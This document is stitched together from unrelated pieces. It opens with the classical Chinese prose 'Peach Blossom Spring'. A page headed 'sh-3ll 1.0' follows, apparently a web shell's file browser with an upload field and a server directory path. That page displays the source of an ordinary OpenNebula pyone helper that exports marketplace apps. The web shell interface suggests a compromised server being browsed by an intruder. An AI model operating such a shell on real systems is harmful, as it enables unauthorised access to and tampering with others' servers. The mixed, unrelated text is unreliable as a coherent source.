晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 sh-3ll

HOME


sh-3ll 1.0
DIR:/opt/hc_python/lib/python3.12/site-packages/pyone/
Upload File :
Current File : //opt/hc_python/lib/python3.12/site-packages/pyone/helpers.py
# Copyright 2018 www.privaz.io Valletech AB
# Copyright 2002-2024, OpenNebula Project, OpenNebula Systems
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

from . import OneException
from . import MARKETPLACEAPP_STATES, MARKETPLACEAPP_TYPES
from base64 import b64decode

class OneHelperException(OneException):
    pass

# Helpers implementation
# This methods are non primitive XMLRPC methods, they can be implemented as a
# series of calls to primitive XMLRPC methods, however they are called in the
# exact same way as XMLRPC method
# They are implemented as standalone functions that take the XMLRPC server as first parameter
# they need to be registered in the XMLRPC server constructor

def marketapp_export(one, appid, dsid=None, name=None, vmtemplate_name=None):
    '''
    Exports a market app to a suitable OpenNebula object
    :param one: the XMLRPC server
    :param appid: id of the marketplace app
    :param dsid: id of the datastore to save images, if not provided the datastore named "default" will be used.
    :param name: name of the new object, if not provided the same name as the App will be used
    :param vmtemplate_name: name for the VM Template, if the app has one.
    :return: a dictionary with the ID of the new Image as image and the ID of the new associated template as vmtemplate. If no template has been defined, it will return -1.
    '''

    ret= {
        "image": -1,
        "vmtemplate": -1
    }

    # find out the datastore

    if not dsid:
        datastores = one.datastorepool.info()
        for ds in datastores.DATASTORE:
            if ds.NAME == "default":
                dsid = ds.ID
                break
    if not dsid:
        raise OneHelperException("Datastore was not provided and could not find the defaultone")

    # get the application

    app = one.marketapp.info(appid)

    if app.STATE != MARKETPLACEAPP_STATES.READY:
        raise OneHelperException("Application is not in READY state")

    if app.TYPE == MARKETPLACEAPP_TYPES.IMAGE:
        if app.APPTEMPLATE64:
            templ=b64decode(app.APPTEMPLATE64).decode()
        else:
            templ=""

        if not name:
            name = app.NAME

        templ+='''\nNAME="%s"\nFROM_APP="%d"''' % (name,app.ID)

        ret['image'] = one.image.allocate(templ,dsid)

        if 'VMTEMPLATE64' in app.TEMPLATE:
            vmtempl = b64decode(app.TEMPLATE['VMTEMPLATE64']).decode()
            if not vmtemplate_name:
                vmtemplate_name = app.NAME

            vmtempl += '''\nNAME="%s"\nDISK=[ IMAGE_ID = %d ]''' % (vmtemplate_name, ret['image'])

            ret['vmtemplate'] = one.template.allocate(vmtempl)

    else:
        raise OneHelperException('App type %s not supported' % MARKETPLACEAPP_TYPES(app.TYPE).name)

    return ret